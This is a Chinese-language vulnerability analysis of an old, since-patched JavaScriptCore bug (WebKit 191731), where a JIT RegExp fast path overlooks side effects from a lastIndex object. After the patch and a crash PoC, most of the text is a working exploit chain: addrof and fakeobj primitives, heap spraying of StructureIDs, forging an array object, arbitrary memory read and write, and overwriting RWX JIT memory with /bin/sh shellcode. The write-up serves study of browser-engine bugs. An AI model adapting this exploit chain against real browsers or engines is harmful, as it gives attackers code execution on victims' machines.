JavaScriptCore漏洞分析 - Bug-191731 RegExp.lastIndex Side-Effect

0x00 环境配置

环境配置:Ubuntu 18.04 x86_64,默认安装完成后升级最新的库,按照正常流程编译

Bug 191731: RegExp operations should not take fast patch if lastIndex is not numeric.

  • https://bugs.webkit.org/show_bug.cgi?id=191731

补丁

// https://github.com/WebKit/WebKit/commit/6c2c3820b8a70438adf19ec73bf6508fdd1fb2c1

commit 6c2c3820b8a70438adf19ec73bf6508fdd1fb2c1
Author: Mark Lam <mark.lam@apple.com>
Date:   Fri Nov 16 05:12:25 2018 +0000

    RegExp operations should not take fast patch if lastIndex is not numeric.
    https://bugs.webkit.org/show_bug.cgi?id=191731
    <rdar://problem/46017305>
    
    Reviewed by Saam Barati.
    
    JSTests:
    
    * stress/regress-191731.js: Added.
    
    Source/JavaScriptCore:
    
    This is because if lastIndex is an object with a valueOf() method, it can execute
    arbitrary code which may have side effects, and side effects are not permitted by
    the RegExp fast paths.
    
    * builtins/RegExpPrototype.js:
    (globalPrivate.hasObservableSideEffectsForRegExpMatch):
    (overriddenName.string_appeared_here.search):
    (globalPrivate.hasObservableSideEffectsForRegExpSplit):
    (intrinsic.RegExpTestIntrinsic.test):
    * builtins/StringPrototype.js:
    (globalPrivate.hasObservableSideEffectsForStringReplace):
    
    Canonical link: https://commits.webkit.org/206464@main
    git-svn-id: https://svn.webkit.org/repository/webkit/trunk@238267 268f45cc-cd09-0410-ab3c-d52691b4dbfc

切回补丁上一个版本并进行编译

commit 738e2705bb89b082299a7bb4de77b2ffc691ef30
Author: Simon Fraser <simon.fraser@apple.com>
Date:   Fri Nov 16 05:02:56 2018 +0000
    
wnagzihxa1n@ubuntu:~/JSCDebug/Bug-191731$ git checkout 738e2705bb89b082299a7bb4de77b2ffc691ef30 -b Bug-191731
Checking out files: 100% (212274/212274), done.
Switched to a new branch 'Bug-191731'
wnagzihxa1n@ubuntu:~/JSCDebug/Bug-191731$ ./Tools/Scripts/update-webkitgtk-libs
wnagzihxa1n@ubuntu:~/JSCDebug/Bug-191731$ ./Tools/Scripts/build-webkit --jsc-only --debug

Poc

var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310 // 0x0000616161616161

var funcToJIT = function() {
    'abc'.match(reg);
    victim_array[0] = val;
}

for (var i = 0; i < 10000; ++i){
    funcToJIT()
}

regexLastIndex = {};
regexLastIndex.toString = function() {
    victim_array[0] = {};
    return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])

0x01 基础知识

JavaScript的正则表达式分为两部分:正则表达式主体和修饰符

如下为一个典型的正则表达式,意思为不区分大小写匹配字符a,修饰符可有可无

/a/i

1.1 RegExp对象

RegExp对象使用的是函数exec()检索模式串,此处也有修饰符g的作用,每次只匹配一个模式串,通过regexp.lastIndex属性来记录下一次搜索的起点

>>> var str = "abcd abcd abcd"
>>> let regexp = /a/g

第一次执行函数exec()的时候,匹配下标为0,regexp.lastIndex为1

>>> regexp.exec(str)
a
>>> regexp.lastIndex
1

第二次执行函数exec()的时候,匹配下标为5,regexp.lastIndex为6

>>> regexp.exec(str)
a
>>> regexp.lastIndex    
6

第三次执行函数exec()的时候,匹配下标为10,regexp.lastIndex为11

>>> regexp.exec(str)
a
>>> regexp.lastIndex
11

第四次执行函数exec()的时候,匹配下标为null,regexp.lastIndex为0

>>> regexp.exec(str)
null
>>> regexp.lastIndex
0

如果修饰符为y,搜索结果会发生变化,表示必须从regexp.lastIndex开始匹配,可以看到第一次正常匹配,第二次匹配的时候由于下标为1的地方没有可以匹配的模式串,所以返回null

>>> var str = "abcd abcd abcd"      
>>> let regexp = /a/y
>>> regexp.exec(str)
a
>>> regexp.lastIndex   
1
>>> regexp.exec(str)
null
>>> regexp.lastIndex
0

1.2 String对象

String对象拥有多个可以使用正则表达式的函数:search()match()replace()split()

函数search()用于检索匹配正则表达式的模式串下标,如果没有检索到则返回-1,修饰符g表示进行全局匹配

>>> var str = "abcd abcd abcd abcd"
>>> str.search(/a/g)
0

函数match()会将检索到的字符全部返回

>>> var str = "abcd abcd abcd abcd"
>>> str.match(/a/g)
a,a,a,a

更详细的可以参考

  • https://www.runoob.com/jsref/jsref-obj-regexp.html

0x02 漏洞分析

String对象的匹配函数match()实现如下,matchSymbolSymbol.match

// Source/JavaScriptCore/builtins/StringPrototype.js

function match(regexp)
{
    "use strict";

    if (this == null)
        @throwTypeError("String.prototype.match requires that |this| not be null or undefined");

    if (regexp != null) {
        var matcher = regexp.@matchSymbol;
        if (matcher != @undefined)
            return matcher.@call(regexp, this);
    }

    let thisString = @toString(this);
    let createdRegExp = @regExpCreate(regexp, @undefined);
    return createdRegExp.@matchSymbol(thisString);
}

函数match()有一个检查函数hasObservableSideEffectsForRegExpMatch()用于判断正则表达式是否有Side-Effect,如果有Side-Effect就调用函数matchSlow(),如果没有Side-Effect就调用regExpMatchFast

// Source/JavaScriptCore/builtins/RegExpPrototype.js

@overriddenName="[Symbol.match]"
function match(strArg)
{
    "use strict";

    if (!@isObject(this))
        @throwTypeError("RegExp.prototype.@@match requires that |this| be an Object");

    let str = @toString(strArg);

    // Check for observable side effects and call the fast path if there aren't any.
    if (!@hasObservableSideEffectsForRegExpMatch(this))
        return @regExpMatchFast.@call(this, str);
    return @matchSlow(this, str);
}

检查函数hasObservableSideEffectsForRegExpMatch()只检查了三个内置对象是否有变化,此处没有检查lastIndex

@globalPrivate
function hasObservableSideEffectsForRegExpMatch(regexp)
{
    "use strict";

    // This is accessed by the RegExpExec internal function.
    let regexpExec = @tryGetById(regexp, "exec");
    if (regexpExec !== @regExpBuiltinExec)
        return true;
    let regexpGlobal = @tryGetById(regexp, "global");
    if (regexpGlobal !== @regExpProtoGlobalGetter)
        return true;
    let regexpUnicode = @tryGetById(regexp, "unicode");
    if (regexpUnicode !== @regExpProtoUnicodeGetter)
        return true;

    return !@isRegExpObject(regexp);
}

regExpMatchFast并不是一个函数,而是一个指令,函数clobberWorld()用于有Side-Effect存在的操作,我们可以看到函数test()被标记为有危险Side-Effect的函数

// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h

template<typename AbstractStateType>
bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimit, Node* node)
{
    verifyEdges(node);
    
    m_state.createValueForNode(node);
    
    switch (node->op()) {
    ...
    case RegExpTest:
        clobberWorld();
        setNonCellTypeForNode(node, SpecBoolean);
        break;

    case RegExpMatchFast:
        ASSERT(node->child2().useKind() == RegExpObjectUse);
        ASSERT(node->child3().useKind() == StringUse || node->child3().useKind() == KnownStringUse);
        setTypeForNode(node, SpecOther | SpecArray);
        break;

所以我们可以通过设置lastIndex属性来实现一个Side-Effect

疑问:调用指令RegExpMatchFast之后发生了什么?优化后的JIT代码如何生成?

0x03 漏洞利用

分析Poc之前需要理解一个特性,如果当前的数组为浮点数数组,可以存在0000的标志位形式,这一点非常重要,后面的原语全部基于此特性

>>> describe([5.2900040263529e-310, 2])     
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4010 (Structure 0x7fffaf4f2ca0:[Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 103

(gdb) x/4gx 0x7fe0000e4010
0x7fe0000e4010:	0x0000616161616161	0x4000000000000000
0x7fe0000e4020:	0x00000000badbeef0	0x00000000badbeef0

但是当加入一个对象,浮点数数组变成了对象数组,此时最开始的浮点数标志位就会从0000变为0001以区分指针和浮点数

>>> describe([5.2900040263529e-310, 2.2, {}])            
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000fe6c8 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99

(gdb) x/4gx 0x7fe0000fe6c8
0x7fe0000fe6c8:	0x0001616161616161	0x400299999999999a
0x7fe0000fe6d8:	0x00007fffaf4b0080	0x00000000badbeef0

带上注释理解Poc,在位置1已经完成前期JIT优化和lastIndex设置等工作,位置2执行正则匹配的时候利用toString将victim_array转换为对象数组,但由于未考虑lastIndex带来的Side-Effect,经过JIT优化后的函数funcToJIT()认为数组依旧是浮点数数组,导致位置3写入0x0000616161616161时并未修改0000标志位

var victim_array = [1.1]; // 浮点数数组
var reg = /abc/y; // 带修饰符y的正则表达式,匹配abc
var val = 5.2900040263529e-310 // 0x0000616161616161

// 用于JIT的函数
var funcToJIT = function() {
    'abc'.match(reg);    // <-- 2
    victim_array[0] = val;    // <-- 3
}

// 循环调用触发JIT优化
for (var i = 0; i < 10000; ++i){
    funcToJIT()
}

// 设置lastIndex
regexLastIndex = {};
regexLastIndex.toString = function() {
    victim_array[0] = {};
    return "0";
};
reg.lastIndex = regexLastIndex;

// 此时函数funcToJIT已经完成JIT
funcToJIT()    // <-- 1

// 将0x0000616161616161作为对象指针调用导致崩溃
print(victim_array[0])

这里要注意一点:JIT后的代码始终认为victim_array是浮点数类型数组

在分析清楚了漏洞成因之后,我们来思考如何利用这个漏洞构造读写原语

构造原语的最终形式就是函数调用,比如我们要获取一个对象的地址,那参数就是这个对象,返回值是该对象的地址

任意对象地址泄露原语addrof如下

function addrof(val) {
    var array = [13.37];
    var reg = /abc/y;
    var AddrGetter = function(array) {
        "abc".match(reg);
        return array[0];
    }
    for (var i = 0; i < 10000; ++i)
        AddrGetter(array);
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = val;    // 将目标对象赋值给array[0],数组转换为对象数组
        return "0";
    };
    reg.lastIndex = regexLastIndex;
    return AddrGetter(array);
}

测试任意对象地址泄露原语的效果

arr = [1, 2, 3]

print(describe(arr))
// Object: 0x7f2ffbeb4340 with butterfly 0x7f20000e4010 (Structure 0x7f2ffbef2c30:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7f2ffbec80a0, Leaf]), StructureID: 102

print(addrof(arr))
// 6.909214912619e-310

解码后可以看到addrof原语效果不错

>>> hex(struct.unpack("Q", struct.pack("d", 6.909214912619e-310))[0])
>>> '0x7f2ffbeb4340'

接下来实现任意伪造对象原语fakeobj

任意地址构造对象的重要前提是这个地址指向的是合法的对象,如同Poc里所展示的,默认情况下,地址0x0000616161616161大概率是不会有合法对象存在的

创建一个空对象,它的butterfly目前是空的,第一个属性obj.x值为1

>>> obj = {}
>>> obj.x = 1
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf470310:[Object, {x:0}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 294

(gdb) x/4gx 0x7fffaf4b0080
0x7fffaf4b0080:	0x0100160000000126	0x0000000000000000
0x7fffaf4b0090:	0xffff000000000001	0x0000000000000000

创建一个空对象,并添加三个属性,此时butterfly依旧为空,所有属性内联

>>> obj = {}
>>> obj.x = 1
>>> obj.y = 2
>>> obj.z = 3
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf4703f0:[Object, {x:0, y:1, z:2}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 296

(gdb) x/8gx 0x7fffaf4b0080
0x7fffaf4b0080:	0x0100160000000128	0x0000000000000000
0x7fffaf4b0090:	0xffff000000000001	0xffff000000000002
0x7fffaf4b00a0:	0xffff000000000003	0x0000000000000000
0x7fffaf4b00b0:	0x0000000000000000	0x0000000000000000

创建一个空对象,添加三个属性后删除第二个属性,第二个属性变成了0x0000000000000000

>>> obj = {}
>>> obj.x = 1
>>> obj.y = 2
>>> obj.z = 3
>>> delete obj.y
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf470460:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 297

(gdb) x/8gx 0x7fffaf4b0080
0x7fffaf4b0080:	0x0100160000000129	0x0000000000000000
0x7fffaf4b0090:	0xffff000000000001	0x0000000000000000
0x7fffaf4b00a0:	0xffff000000000003	0x0000000000000000
0x7fffaf4b00b0:	0x0000000000000000	0x0000000000000000

想法来了:地址0x7fffaf4b0080是对象obj起始地址,我们可以有限控制偏移0x10之后的若干连续空间内存布局,那我们是否有可能把第一个属性地址0x7fffaf4b0090作为伪造对象的起始地址进行利用呢?

通过删除属性可以把第二个属性的内存置为0x0000000000000000用于伪造空butterfly,剩下的就是第一个属性如何构造

这里补充一点:每个对象的前八字节叫作JSCell

class JSCell : public HeapCell {
    ...
    StructureID m_structureID;
    IndexingType m_indexingTypeAndMisc; // DO NOT store to this field. Always CAS.
    JSType m_type;
    TypeInfo::InlineTypeFlags m_flags;
    CellState m_cellState;

我们可以进行Spray,上面的测试过程可以看出每次新建一个结构不同的对象,StructureID就会递增,所以我们堆喷一大堆结构不同的对象,理论上StructureID就会增加到很大

尝试Spray,然后查看最后一个对象的内存

for (var i = 0; i < 0x1000; i++) {
    obj = {};
    obj.x = 1;
    obj['prop_' + i] = 2;
}

可以看到StructureID295增加到了4390,那我们完全可以控制StructureID0x1000的对象

>>> for (var i = 0; i < 0x1000; i++) { obj = {}; obj.x = 1; obj['prop_' + i] = 2; } describe(obj)
Object: 0x7fffaf4b00c0 with butterfly (nil) (Structure 0x7fffaf470380:[Object, {x:0, prop_0:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 295
Object: 0x7fffaf4b0140 with butterfly (nil) (Structure 0x7fffaf4703f0:[Object, {x:0, prop_1:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 296
Object: 0x7fffaf4b01c0 with butterfly (nil) (Structure 0x7fffaf470460:[Object, {x:0, prop_2:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 297
Object: 0x7fffaf4b0240 with butterfly (nil) (Structure 0x7fffaf4704d0:[Object, {x:0, prop_3:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 298
Object: 0x7fffaf4b02c0 with butterfly (nil) (Structure 0x7fffaf470540:[Object, {x:0, prop_4:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 299
...
Object: 0x7fffaf530040 with butterfly (nil) (Structure 0x7fffaf4e0310:[Object, {x:0, prop_4095:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 4390

而且除了StructureID之外,其它的字段数据并未发生变化,那就可以在第一个属性填充0x0100160000001000

(gdb) x/gx 0x7fffaf4b00c0
0x7fffaf4b00c0:	0x0100160000000127
(gdb) x/gx 0x7fffaf4b0140
0x7fffaf4b0140:	0x0100160000000128
(gdb) x/gx 0x7fffaf4b01c0
0x7fffaf4b01c0:	0x0100160000000129
(gdb) x/gx 0x7fffaf4b0240
0x7fffaf4b0240:	0x010016000000012a
(gdb) x/gx 0x7fffaf4b02c0
0x7fffaf4b02c0:	0x010016000000012b

转换数据

>>> struct.unpack("d", struct.pack("Q", 0x0100160000001000))[0]
7.330283319472755e-304

把这个数据写到第一个属性

>>> obj = {}
>>> obj.x = 7.330283319472755e-304
>>> obj.y = 2
>>> obj.z = 3
>>> delete obj.y
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf470460:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 297

(gdb) x/8gx 0x7fffaf4b0080
0x7fffaf4b0080:	0x0100160000000129	0x0000000000000000
0x7fffaf4b0090:	0x0101160000001000	0x0000000000000000
0x7fffaf4b00a0:	0xffff000000000003	0x0000000000000000
0x7fffaf4b00b0:	0x0000000000000000	0x0000000000000000

但我们发现第一个属性被加上了0x0001000000000000,这是用于表示浮点数的标志位

* The scheme we have implemented encodes double precision values by performing a
* 64-bit integer addition of the value 2^48 to the number. After this manipulation
* no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFF.
* Values must be decoded by reversing this operation before subsequent floating point
* operations may be peformed.

那我们只需要减去这个值再编码即可

>>> struct.unpack("d", struct.pack("Q", 0x0100160000001000 - 0x0001000000000000))[0]
7.082855106403439e-304

再来一遍,效果很好,现在只需要配合上面的Spray分配StructureID即可完成合法对象的构造

>>> obj = {}
>>> obj.x = 7.082855106403439e-304
>>> obj.y = 2
>>> obj.z = 3
>>> delete obj.y
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf470690:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 302

(gdb) x/8gx 0x7fffaf4b0080
0x7fffaf4b0080:	0x010016000000012e	0x0000000000000000
0x7fffaf4b0090:	0x0100160000001000	0x0000000000000000
0x7fffaf4b00a0:	0xffff000000000003	0x0000000000000000
0x7fffaf4b00b0:	0x0000000000000000	0x0000000000000000

原语fakeobj的实现如下,传入参数为需要伪造对象的地址,在函数AddrSetter()里因为JIT认为数组array始终为浮点数数组,所以直接写入数据而不修改标志位

function fakeobj(dbl) {
    var array = [13.37];
    var reg = /abc/y;
    var AddrSetter = function(array) {
      "abc".match(reg);
      array[0] = dbl;
    }
    for (var i = 0; i < 10000; ++i)
      AddrSetter(array);
    regexLastIndex = {};
    regexLastIndex.toString = function() {
      array[0] = {};
      return "0";
    };
    reg.lastIndex = regexLastIndex;
    AddrSetter(array);
    return array[0];
}

总结一下整个过程:先Spray占位一个StructureID,利用原语addrof获取fake对象地址,通过fake对象进行内存风水,将fake对象第一个属性构造成合法对象的JSCell,此时使用原语fakeobj即可获得一个伪造对象real_fake

完整测试一遍

function addrof(val) { ... }

function fakeobj(dbl) { ... }

for (var i = 0; i < 0x1000; i++) {
    obj = {}; 
    obj.x = 1; 
    obj['prop_' + i] = 2;
}

fake = {};
fake.x = 7.082855106403439e-304;
fake.y = 2;
fake.z = 3;
delete fake.y;

print(describe(fake));
// Object: 0x7fffadefd580 with butterfly (nil) (Structure 0x7fffadef4a80:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 4458

buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);

f64[0] = addrof(fake);    // 6.95328778531324e-310 浮点数读取fake对象地址
u32[0] += 0x10;    // u32[0]的值为0xadefd580,计算结果为0xadefd590
real_fake = fakeobj(f64[0])    // 6.95328778531403e-310 浮点数读取修改偏移后的f64[0]

print(describe(real_fake)) // 确定成功获取对象
// Object: 0x7fffadefd590 with butterfly (nil) (Structure 0x7fffae21e7d0:[Object, {x:0, prop_3736:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 4096

上面实现的原语可以更加精简,我们来研究一下

先Spray一堆数组对象,并且指定其中下标为510的对象为victim

var structure_spray = [];
for(var i = 0; i < 1000; i++) {
    var array = [13.37];
    array.a = 13.37;
    array['p' + i] = 13.37;
    structure_spray.push(array);
}
print(describe(structure_spray));
// Object: 0x7fffaf4b4340 with butterfly 0x7fe0001fa070 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99

var victim = structure_spray[510];
print(describe(victim));
// Object: 0x7fffaf4b6330 with butterfly 0x7fe0000ca128 (Structure 0x7fffae0e9110:[Array, {a:100, p510:101}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 4902

对象structure_spray用于存储分配的数组对象,每个数组对象用属性p + i区分,比如i510的数组对象属性就是p510,对象structure_spray的butterfly为0x00007fe0001fa070,所以0x00007fe0001fa068指向它的长度

(gdb) x/8gx 0x7fffaf4b4340
0x7fffaf4b4340:	0x0108210900000063	0x00007fe0001fa070
0x7fffaf4b4350:	0x0108210700001128	0x00007fe0000e0058
0x7fffaf4b4360:	0x0108210700001129	0x00007fe0000e0088
0x7fffaf4b4370:	0x010821070000112a	0x00007fe0000e00b8
(gdb) x/8gx 0x00007fe0001fa060
0x7fe0001fa060:	0x00007fe0001fa001	0x000003ec000003e8
0x7fe0001fa070:	0x00007fffaf4b4350	0x00007fffaf4b4360
0x7fe0001fa080:	0x00007fffaf4b4370	0x00007fffaf4b4380
0x7fe0001fa090:	0x00007fffaf4b4390	0x00007fffaf4b43a0

查看第一个数组元素,它的butterfly为0x00007fe0000e0058

(gdb) x/8gx 0x00007fffaf4b4350
0x7fffaf4b4350:	0x0108210700001128	0x00007fe0000e0058
0x7fffaf4b4360:	0x0108210700001129	0x00007fe0000e0088
0x7fffaf4b4370:	0x010821070000112a	0x00007fe0000e00b8
0x7fffaf4b4380:	0x010821070000112b	0x00007fe0000e00e8
(gdb) x/8gx 0x00007fe0000e0058
0x7fe0000e0058:	0x402abd70a3d70a3d	0x0000000000000000
0x7fe0000e0068:	0x0000000000000000	0x402bbd70a3d70a3d
0x7fe0000e0078:	0x402bbd70a3d70a3d	0x0000000100000001
0x7fe0000e0088:	0x402abd70a3d70a3d	0x0000000000000000

其中我们指定的victim内存布局如下,butterfly左边是长度和其它属性

(gdb) x/8gx 0x7fffaf4b6330
0x7fffaf4b6330:	0x0108210700001326	0x00007fe0000ca128
0x7fffaf4b6340:	0x0108210700001327	0x00007fe0000ca158
0x7fffaf4b6350:	0x0108210700001328	0x00007fe0000ca188
0x7fffaf4b6360:	0x0108210700001329	0x00007fe0000ca1b8
(gdb) x/8gx 0x00007fe0000ca108
0x7fe0000ca108:	0x0000000000000000	0x402bbd70a3d70a3d
0x7fe0000ca118:	0x402bbd70a3d70a3d	0x0000000100000001
0x7fe0000ca128:	0x402abd70a3d70a3d	0x0000000000000000
0x7fe0000ca138:	0x0000000000000000	0x402bbd70a3d70a3d

重新伪造对象,这一次我们伪造的是对象数组

buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);

u32[0] = 0x200; // Structure ID

// Flags for ArrayWithDoubles
u32[1] = 0x01082007 - 0x10000; 
var flags_arr_double = f64[0];

// Flags for ArrayWithContiguous
u32[1] = 0x01082009 - 0x10000; 
var flags_arr_contiguous = f64[0];

var outer = {
    cell_header: flags_arr_contiguous,
    butterfly: victim,
    x: 13.37,
};

f64[0] = addrof(outer);
u32[0] += 0x10;
var real_fake = fakeobj(f64[0]);

unbox数组就是依旧使用浮点数存储的数组,并没有在0000添加标志位,box数组由于浮点数,整数,指针并存,所以需要添加标志位

var unboxed = [13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37]
print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff0000e0010 (Structure 0x7fffaf4f2ca0:[Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 103

unboxed[0] = 4.2
print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98

var boxed = [{}];
print(describe(boxed));
// Object: 0x7fffade90060 with butterfly 0x7ff0000be8e8 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99

unboxed赋值给real_fake[1]real_fake的butterfly为victim,所以real_fake[1]就是victim的butterfly,此时victim[1]就是unboxed的butterfly,我们记录这个butterfly

real_fake[1] = unboxed;
tmp_unbox_butterfly = victim[1];

boxed赋值给real_fake[1],但这次我们不获取boxed的butterfly,而是将unboxed的butterfly赋值给它的butterfly

real_fake[1] = boxed;
victim[1] = tmp_unbox_butterfly;

现在unboxedboxed的butterfly指向同一个地址

print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98

print(describe(boxed));
// Object: 0x7fffade90060 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99

我们可以通过unboxedboxed实现新的addroffakeobj原语了

将对象写入boxed[0],指针高四位为0000,再用unboxed[0]取出,刚好没有影响

stage2_addrof = function(obj) {
    boxed[0] = obj;
    return unboxed[0];
}

将传入的地址写入unboxed[0],由于是浮点数数组,不对数据进行box处理,所以boxed[0]取出这个数据的时候,刚好符合指针高四位为0000

stage2_fakeof = function(dbl) {
    unboxed[0] = dbl;
    return boxed[0];
}

其实上面已经实现了任意地址读写,real_fake[1]指向的是victim的butterfly,而victim.a是其butterfly往左偏移0x10指向的数据

如果我们直接将victim的butterfly赋值为目标地址0x0000616161616161,那么读取victim.a的时候就会读取到0x0000616161616151的数据,所以利用这个特点,我们可以先把目标地址往右偏移0x10再赋值给victim的butterfly

stage2_arbitrary_read = function(addr) {
    f64[0] = addr;
    u32[0] += 0x10;
    real_fake[1] = f64[0];
    return stage2_addr(victim.a);
}

stage2_arbitrary_write = function(addr, data) {
    f64[0] = addr;
    u32[0] += 0x10;
    real_fake[1] = f64[0];
    victim.a = stage2_fakeobj(data);
}

但由于之前伪造对象的时候,real_fake是对象数组,往butterfly写数据的时候,会将浮点数加上0x1000000000000存储,所以我们在实现任意读写原语之前将其修改为浮点数数组

outer.cell_header = flags_arr_double;

另外注意一点,为什么不直接返回victim.a?因为我们要处理数据是对象的情况

现在我们拥有了任意地址读写原语,可以开始实现任意代码执行了,这里使用的方法是修改函数的JIT代码段

var BASE32 = 0x100000000;
function f2i(f) {
    f64[0] = f
    return u32[0] + BASE32 * u32[1]
}

function i2f(i) {
    u32[0] = i % BASE32
    u32[1] = i / BASE32
    return f64[0]
}

var stage2 = {
    addrof: function(obj) {
        boxed[0] = obj;
        return f2i(unboxed[0]);
    },
    fakeobj: function(addr) {
        unboxed[0] = i2f(addr);
        return boxed[0];
    },
    read64: function(addr) {
        real_fake[1] = i2f(addr + 0x10);
        return this.addrof(victim.a);
    },
    write64: function(addr, data) {
        real_fake[1] = i2f(addr + 0x10);
        victim.a = this.fakeobj(data);
    },
    getJITFunction: function() {
        function target(num) {
            for (var i = 2; i < num; i++) {
                if (num % i === 0) { return false; }
            }
            return true;
        }
        for (var i = 0; i < 1000; i++) { target(i); }
        for (var i = 0; i < 1000; i++) { target(i); }
        for (var i = 0; i < 1000; i++) { target(i); }
        print(describe(target))
        return target;
    },
    getRWXMem: function() {
        var shellcodeFunc = this.getJITFunction();
        var shellcodeFuncAddr = this.addrof(shellcodeFunc);
        print("[+] Shellcode function => 0x" + shellcodeFuncAddr.toString(16));
        var executableAddr = this.read64(shellcodeFuncAddr + 8 * 3);
        print("[+] Executable instance => 0x" + executableAddr.toString(16));
        var jitCodeAddr = this.read64(executableAddr + 8 * 3);
        print("[+] JITCode instance => 0x" + jitCodeAddr.toString(16));
        var rwxMemAddr = this.read64(jitCodeAddr + 8 * 4);
        print("[+] RWX memory => 0x" + rwxMemAddr.toString(16));
        return [shellcodeFunc, rwxMemAddr];
    },
    injectShellcode: function(addr, shellcode) {
        var theAddr = addr;
        for(var i = 0, len = shellcode.length; i < len; i++) {
            this.write64(addr + i, shellcode[i].charCodeAt());
        }
    },
    pwn: function() {
        shellcodeObj = this.getRWXMem();
        shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05";
        this.injectShellcode(shellcodeObj[1], shellcode);
        var shellcodeFunc = shellcodeObj[0];
        shellcodeFunc();
    },
};

0x04 漏洞修复

第一处

Source/JavaScriptCore/builtins/RegExpPrototype.js

函数hasObservableSideEffectsForRegExpMatch()RegExp对象判断提前,最后检查lastIndex是否为number

IMAGE

函数hasObservableSideEffectsForRegExpSplit()RegExp对象判断提前,最后检查lastIndex是否为number

IMAGE

函数test()在调用指令regExpTestFast前的判断里添加了lastIndex是否为number类型的判断

IMAGE

函数replace()在调用指令regExpSearchFast前的判断里添加了lastIndex是否为number类型的判断

IMAGE

第二处

Source/JavaScriptCore/builtins/StringPrototype.js

函数hasObservableSideEffectsForStringReplace()RegExp对象判断提前,最后检查lastIndex是否为number

IMAGE

0x05 扩展思考

接漏洞分析最后一段,我们没有弄清楚的一个细节:这个函数在优化的时候,都经历了哪些阶段?每个阶段生成的代码是如何的?我们如何界定需要优化的程度?

// 用于JIT的函数
var funcToJIT = function() {
    'abc'.match(reg);    // <-- 2
    victim_array[0] = val;    // <-- 3
}

并且触发JIT优化的时候,为什么进入FTL会导致利用失败,是哪个环节的优化导致的?

这些问题有待后续学习解决